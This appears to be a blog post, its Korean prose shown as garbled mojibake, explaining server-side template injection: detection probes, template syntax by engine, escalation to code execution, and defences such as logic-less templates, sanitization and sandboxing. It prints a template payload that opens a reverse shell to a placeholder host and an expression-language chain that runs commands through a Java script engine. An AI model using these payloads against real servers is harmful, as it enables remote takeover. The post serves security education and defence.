Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI)

in

๐Ÿ” Introduction

SSTI(Server-Side Template Injection)์€ ๊ณต๊ฒฉ์ž๊ฐ€ Template ์ฝ”๋“œ๋ฅผ ๊ธฐ์กด template์— include ์‹œ์ผœ์„œ ์›ํ•˜๋Š” ์•ก์…˜์„ ์ˆ˜ํ–‰ํ•˜๋„๋ก ํ•˜๋Š” ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค. ์ด ๋•Œ template injection์ด ๋ฐœ์ƒํ•˜๋Š” ์œ„์น˜๊ฐ€ server-side์ธ ๊ฒฝ์šฐ SSTI๋ผ๊ณ  ๋ถ€๋ฆ…๋‹ˆ๋‹ค.

SSTI๊ฐ€ ๋ฐœ์ƒํ•˜๋Š” ๊ฒฝ์šฐ Server-Side์˜ ๋ Œ๋”๋ง์— ๊ด€์—ฌํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋‹จ์ˆœํ•˜๊ฒŒ๋Š” Client-Side์˜ ์ทจ์•ฝ์ ๋“ค(XSS,CSRF ๋“ฑ) ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ Server-Side์˜ ์ทจ์•ฝ์ ๋“ค(RCE,SSRF)๋กœ๋„ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์–ด์„œ ๋ฆฌ์Šคํฌ๊ฐ€ ๋†’์Šต๋‹ˆ๋‹ค.

{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

๐Ÿ—ก Offensive techniques

Detect

Server-Side Template Engine์€ ์–ธ์–ด, ํ”„๋ ˆ์ž„์›Œํฌ ๋“ฑ์— ๋”ฐ๋ผ ๊ต‰์žฅํžˆ ์ข…๋ฅ˜๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ์ด์— ๋”ฐ๋ผ์„œ Template ๋ฌธ๋ฒ•์ด ๋‹ค๋ฅด๊ธฐ ๋•Œ๋ฌธ์— ๋ฐฑ์—”๋“œ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ์ •๋ณด๊ฐ€ ์—†๋‹ค๋ฉด ์—ฌ๋Ÿฌ ๊ฐ€์ง€ Template ๋ฌธ๋ฒ•์„ ์‚ฝ์ž…ํ•˜์—ฌ Return ๋˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ์ฒดํฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์œผ๋กœ ์ˆซ์ž ๊ณ„์‚ฐ์„ ํ†ตํ•ด ์ฒดํฌํ•˜๋Š” ํ˜•ํƒœ๋ฅผ ๋งŽ์ด ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

GET /test?q=abcd${412*343}efgh HTTP/1.1

๋ฏธ์ทจ์•ฝ

abcd${412*343}efgh

์ทจ์•ฝ

abcd141316efgh

๋‹ค๋งŒ ์ผ€์ด์Šค๊ฐ€ ๊ต‰์žฅํžˆ ๋งŽ๊ธฐ ๋•Œ๋ฌธ์— ๋ณดํ†ต Ployglot payload๋‚˜ Fuzzing์„ ํ†ตํ•ด ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค. Template ๋ฌธ๋ฒ• ๋ณ„ ์–ธ์–ด ํŒจํ„ด์€ ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

@( )
- ASP.NET Razor

#{ }
- Expression Language
- Freemarker
- Ruby (Slim)
- Jade
- Codepen

${ }
- Expression Language (+JavaEL)
- Freemarker
- Java

{{ }}
- Java
- Jinja
- Jinjava
- Pebble
- Twig
- Handlebars

[[ ]]
- Jinja2

{1+2}
- Smarty

<%= %> or <% %>
- Ruby (ERB)
- Mako

#
- Velocity (e.g: #set)

@
- Lessjs (css ๋ฌธ๋ฒ•์œผ๋กœ ๋Œ€๋ถ€๋ถ„ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. e.g: @import / @plugin)

์ด์™ธ์—๋„ ์—ฌ๊ธฐ ๋‚˜์—ด๋˜์ง€ ์•Š์€ Template engine์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฌธ๋ฒ•์ด ์กด์žฌํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์•„๋ž˜์™€ ๊ฐ™์ด Template ์œผ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” expression ๋“ค์€ ํ…Œ์ŠคํŠธํ•ด๋ณด์‹œ๋Š” ๊ฒƒ์„ ์ถ”์ฒœ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

{var} ${var} {{var}} <%var%> [% var %]

Exploitation

Payloads

SSTI๋Š” Server-Side Rendering์— ๊ด€์—ฌํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— Server-Side ๊ธฐ๋ฐ˜์˜ Exploiting ๊ณผ์ •์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณดํŽธ์ ์œผ๋กœ RCE(Code Execution), SSRF, ๊ทธ๋ฆฌ๊ณ  ์‹œ์Šคํ…œ ํŒŒ์ผ์„ ์ฝ๋Š” ํ˜•ํƒœ๋กœ Payload๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŽ˜์ด๋กœ๋“œ ์ข…๋ฅ˜๋„ ์›Œ๋‚™ ๋งŽ๊ณ  ์ถ”๊ฐ€/๋ณ€๋™๋˜๋Š” ๊ฒฝ์šฐ๋„ ์žˆ์–ด์„œ ์ œ๊ฐ€ ๊ด€๋ฆฌํ•˜๋Š” ๊ฒƒ๋ณด๋‹จ ์•„๋ž˜ ๋งํฌ๋“ค์„ ์ฐธ๊ณ ํ•˜์‹œ๋Š”๊ฒŒ ์ข‹์„ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
  • https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

๊ทธ๋ฆฌ๊ณ  ์ด๋Ÿฌํ•œ ๋ถ€๋ถ„์€ Injection ํฌ์ธํŠธ๋ฅผ ์ฐพ์•˜๋‹ค๋ฉด ๋„๊ตฌ๋“ค์„ ์ด์šฉํ•ด์„œ ํ…Œ์ŠคํŠธํ•˜์‹œ๋Š” ๊ฒƒ์„ ์ถ”์ฒœ๋“œ๋ ค์š”. (SQLi ๊ฐ™์ด ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•ด์„  ์ฟผ๋ฆฌ๊ฐ€ ๋งŽ์ด ํ•„์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์ด์ฃ )

SSTI to RCE

SSTI์— ์„ฑ๊ณตํ–ˆ๋‹ค๊ณ  ๋ชจ๋‘ RCE๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค. ํ•ด๋‹น Application ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” Object ๋”ฐ๋ผ์„œ, ๋˜๋Š” ๋ณดํ˜ธ ๋กœ์ง์ด ์žˆ๋Š” ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์œผ๋กœ ์•Œ๋ ค์ง„ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— SSTI๋ฅผ ํƒ์ง€ํ–ˆ๋‹ค๋ฉด Exploit ํ•˜๊ธฐ ์œ„ํ•œ ์ถ”๊ฐ€ ํ…Œ์ŠคํŒ… ๊ณผ์ •์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

๊ฐ„๋‹จํ•œ ๋ฐฉ๋ฒ•์œผ๋ก  ๋ฐ˜๋ณต์ ์œผ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๋ณด๋ฉด์„œ Template ๋ฌธ๋ฒ•์ด ์ฒ˜๋ฆฌ๋˜๋Š” Object๋ฅผ ์ฐพ๊ณ , ์ด๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ณต๊ฒฉ์ฝ”๋“œ๋ฅผ ๋งŒ๋“œ๋Š” ํ˜•ํƒœ๋กœ RCE๊นŒ์ง€ ๋ฐœ์ „์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. getClass forName๊ณผ Array ๋“ฑ์„ ์ด์šฉํ•˜์—ฌ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ Object๋ฅผ ํƒ์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ๋“ค์–ด nashorn ์—”์ง„์„ ์“ธ ์ˆ˜ ์žˆ๋Š”์ง€ ์ฒดํฌํ•˜๋ ค๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์ˆœ์ฐจ์ ์œผ๋กœ ํ™•์žฅํ•˜๋ฉด์„œ ํ—ˆ์šฉ ๊ฐ€๋Šฅํ•œ ๋ถ€๋ถ„์ด ์–ด๋””๊นŒ์ง€์ธ์ง€ ์ฒดํฌํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

${4*4}
${''.getClass()}
${''.getClass().forName('javax.script.ScriptEngineManager')}
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance()}
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')}

๊ฐ๊ฐ ์ฝ”๋“œ์— ๋”ฐ๋ฅธ object๋‚˜ function, class ๋“ฑ์ด ๋ฆฌํ„ด๋˜๋ฉฐ ๋งˆ์ง€๋ง‰ ๋ผ์ธ๊นŒ์ง€ ํ™•์ธํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด NashornScriptEngine์„ ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

jdk.nashorn.api.scripting.NashornScriptEngine@d314a00

์ด์ œ ์ด๋ฅผ ๊ธฐ๋ฐ˜(nashorn ๋ฌธ๋ฒ•)์œผ๋กœ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด SSTI๋ฅผ ํ†ตํ•ด ์„œ๋ฒ„์—์„œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("ifconfig")')}

๐Ÿ›ก Defensive techniques

SSTI๋Š” ๋Œ€๋‹ค์ˆ˜ Injection ๊ณต๊ฒฉ๊ณผ ๋™์ผํ•˜๊ฒŒ Sanitization, Sandboxing, Input validation์„ ๋‹ค์ค‘์œผ๋กœ ์ ์šฉํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์€ ํ˜•ํƒœ์˜ ๋Œ€์‘๋ฐฉ์•ˆ์ด๊ณ  ์–ด๋ ค์šด ๊ฒฝ์šฐ ํ•œ๊ฐ€์ง€์˜ ๋Œ€์‘์„ ๊ผผ๊ผผํ•˜๊ฒŒ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์™„ํ™”๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ Injection ๊ณ„ํ†ต ์ฒ˜๋ฆฌ ์‹œ Input Type์„ ๋ช…์‹œ(e.g page ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” int ๊ฐ’๋งŒ ๋ฐ›๋„๋ก ์ฒ˜๋ฆฌ)ํ•˜๋Š” ํ˜•ํƒœ์™€ ๊ฐ™์ด ๋”ฑ ํ•„์š”ํ•œ ๋ชฉ์ ์˜ ๋ฐ์ดํ„ฐ๋งŒ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋„๋ก ์ œํ•œํ•˜๋Š” ํ˜•ํƒœ๋„ ์ข‹์€ ๋Œ€์‘๋ฐฉ์•ˆ ์ค‘ ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค. (์•„๋ž˜ ๋‚ด์šฉ ์ค‘ Logic-less์— ํ•ด๋‹น)

Logic-Less

Template์„ ์‚ฌ์šฉ ์‹œ Logic์— ๋Œ€ํ•œ ์ฒ˜๋ฆฌ๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด Logic-less template ์‚ฌ์šฉ์œผ๋กœ ์‰ฝ๊ฒŒ SSTI๋ฅผ ๋ฐฉ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋Œ€ํ‘œ์ ์œผ๋กœ Jekyll์—์„œ ์‚ฌ์šฉ๋˜๋Š” Liquid๋‚˜ Handlebars, Mustache ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

Sanitization

์‚ฌ์šฉ์ž ์ž…๋ ฅ์œผ๋กœ ๋ถ€ํ„ฐ Template์„ ์ƒ์„ฑํ•˜์ง€ ์•Š๋„๋ก ์ฒ˜๋ฆฌํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ Template ์ž์ฒด์—์„œ ์ œ๊ณตํ•˜๋Š” Parameter๋ฅผ ํ†ตํ•ด ๋ฐ›์•„ ์ฒ˜๋ฆฌํ•˜๋„๋ก ๊ตฌ์„ฑํ•˜์—ฌ Template ์ž์ฒด์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์—†๋„๋ก ์ œํ•œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Input Validation

๋งˆ์ง€๋ง‰์œผ๋กœ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์—์„œ { } [ ] ๊ณผ ๊ฐ™์€ ํŠน์ˆ˜๋ฌธ์ž ์ž์ฒด๋ฅผ ๋ฐ›์ง€ ๋ชปํ•˜๋„๋ก Escape ์ฒ˜๋ฆฌํ•˜๋Š” ๋กœ์ง์„ ์ ์šฉํ•˜์—ฌ ๋Œ€์‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ผ๋ถ€ XSS, SQLi์—์„œ ๋Œ€์‘ํ•˜๋Š” ๋ฐฉ์‹๊ณผ ๋™์ผํ•ฉ๋‹ˆ๋‹ค.

{ }
[ ]
< >
%
#
@

๋“ฑ

Sandboxing

์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฐ’์„ ๊ธฐ๋ฐ˜์œผ๋กœ Template์„ ์ƒ์„ฑํ•˜๊ณ  ๋ Œ๋”๋งํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ ์–ด์ฉ” ์ˆ˜ ์—†์ด ์‚ฌ์šฉ์ž ์ž…๋ ฅ์œผ๋กœ Template์„ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ๋ฐ–์— ์—†์Šต๋‹ˆ๋‹ค. ์ด ๋•Œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์œผ๋กœ ๋ถ€ํ„ฐ ๋ฐ›๋Š” Template์€ Sandboxing ํ•˜์—ฌ ๊ณต๊ฒฉ์ฝ”๋“œ๊ฐ€ ์‹ค์ œ๋กœ ์˜ํ–ฅ์„ ๋ผ์น  ์ˆ˜ ์—†๋„๋ก ์ œํ•œํ•˜๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ๋„ ๋Œ€์‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค๋งŒ Sandboxing์˜ ๊ฒฝ์šฐ ์šฐํšŒํ•  ์—ฌ์ง€๊ฐ€ ์ถฉ๋ถ„ํžˆ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๊ธ‰์  ๋‹จ๋…์œผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ ๋ณด๋‹จ ์œ„ 2๊ฐœ์™€ ํ˜ผ์šฉํ•˜์—ฌ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ์ถ”์ฒœ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

๐Ÿ•น Tools

๐Ÿ“š Articles

๐Ÿ“Œ References

  • https://portswigger.net/web-security/server-side-template-injection
  • https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
  • https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt